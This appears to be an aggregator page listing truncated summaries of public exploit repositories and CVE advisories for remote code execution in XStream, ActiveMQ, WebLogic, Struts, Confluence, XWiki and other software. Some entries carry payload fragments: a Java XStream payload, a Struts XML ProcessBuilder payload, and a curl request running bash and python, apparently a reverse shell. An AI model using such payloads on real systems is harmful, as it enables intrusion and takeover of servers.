CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC e.g root@kitploit: package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n"...

ActiveMQ-RCE

ActiveMQ RCE Effect version verison open -a calculator Open a http server root@kitploit: python3 -m http.server Run the Main.java file change the address as needed...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814 y CNNVD-201904-961 Gracias a t00ls-ximcx0101 por proporcionar el script CNVD-C-2019-48814 POC Summary Los enlaces relacionados son los siguientes: El artículo de Jian Shu del maestro 清水川崎: https://www.jianshu.com/p/c4982a845f55 Reenviado por 安全祖师爷: https://dwz.cn/2GQvbUae Debido...

cve-2025-24893

CVE-2025-24893 XWiki RCE Exploit A simple Python3 script to exploit CVE-2025-24893 , a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload. ⚠️ WARNING: This tool is provided for educational and authorized testing purposes...

CVE-2024-21683-RCE

CVE-2024-21683-RCE Credit https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Usage root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server This vulnerability could allow an attacker to take complete control of a vulnerable Confluence server. This could allow the attacker to steal data, modify data, or disrupt the availability of the server. Poc Create a JavaScript file and giv...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Un exploit simple para CVE-2019-2725. Código de ejemplo: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

Weblogic_Wsat_RCE

WeblogicWsatRCE POC para CVE-2017-10271. Dado que java.lang.ProcessBuilder fue el vector original para RCE, existen múltiples reglas basadas en firmas que bloquean este payload en particular. Se agregó java.lang.Runtime y se agregarán otros en el futuro. Esto es solo con fines educativos: no me...

activemq-cve-2023-46604

Exploit de Active MQ CVE-2023-46604 Este repositorio es una guía con ejemplos sobre cómo explotar la CVE-2023-46604 El exploit aprovecha el uso de la reflexión para instanciar clases de Excepción a través de un comando malicioso que, en lugar de ser un comando válido, envía como clase de excepció...

S2-052

Exploit de Shell Reverso para CVE-2017-9805 S2-052 Versiones afectadas root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0...

CVE-2026-18718

Advisory: GHSA-pcfh-853f-q3gh · Severity: High CVSS 7.5 · Affected: Ghidra ≤ 12.1.2 · Fixed: c03a70d Ghidra 12.1.3 Opening someone else's Ghidra project was enough to execute their code. Ghidra 12.1.2 stores analyzer options inside the program database , and one of those options is a filesystem...

CVE-2026-34197-PoC

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE Prueba de concepto y notas técnicas para CVE-2026-34197 , una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic accesible a través del puente JMX-HTTP de Jolokia. Afectados: ActiveMQ Classic 5.19.4, y 6.0.0 –...

CVE-2026-52473

An issue in Wgcloud 3.6.4 allows a remote attacker to escalate privileges via the content parameter is directly concatenated to the ProcessBuilder...

CVE-2026-52473

An issue in Wgcloud 3.6.4 allows a remote attacker to escalate privileges via the content parameter is directly concatenated to the ProcessBuilder...

EUVD-2026-66745

An issue in Wgcloud 3.6.4 allows a remote attacker to escalate privileges via the content parameter is directly concatenated to the ProcessBuilder...

CVE-2026-52473

CVE-2026-52473 affects Wgcloud 3.6.4 , a web-based application. The root cause is that the content parameter is directly concatenated to a ProcessBuilder , allowing a remote attacker to escalate privileges. The CVSS 3.1 score is 4.3 (MEDIUM) with an adjacent network attack vector, low complexity,...

CVE-2026-40047

Improper Neutralization of Argument Delimiters in a Command 'Argument Injection' vulnerability in Apache Camel Docling component. The camel-docling component invokes the external docling command-line tool by assembling an argument list in DoclingProducer and executing it through...

CVE-2026-28228

OpenOLAT SAS/Velocity SSTI vulnerability (CVE-2026-28228) allows an authenticated author to inject Velocity directives into a reminder email; when processed, directives are evaluated server-side via Velocity #set chained with Java reflection, enabling arbitrary Java class execution (e.g., Process...

MiracleLinux 7 : java-1.8.0-openjdk-1.8.0.372.b07-1.el7 (AXSA:2023-5312:06)

The remote MiracleLinux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2023-5312:06 advisory. OpenJDK: improper connection handling during TLS handshake 8294474 CVE-2023-21930 OpenJDK: Swing HTML parsing issue 8296832 CVE-2023-21939 OpenJDK:...

MiracleLinux 8 : java-17-openjdk-17.0.7.0.7-1.el8 (AXSA:2023-5307:05)

The remote MiracleLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2023-5307:05 advisory. OpenJDK: improper connection handling during TLS handshake 8294474 CVE-2023-21930 OpenJDK: Swing HTML parsing issue 8296832 CVE-2023-21939 OpenJDK:...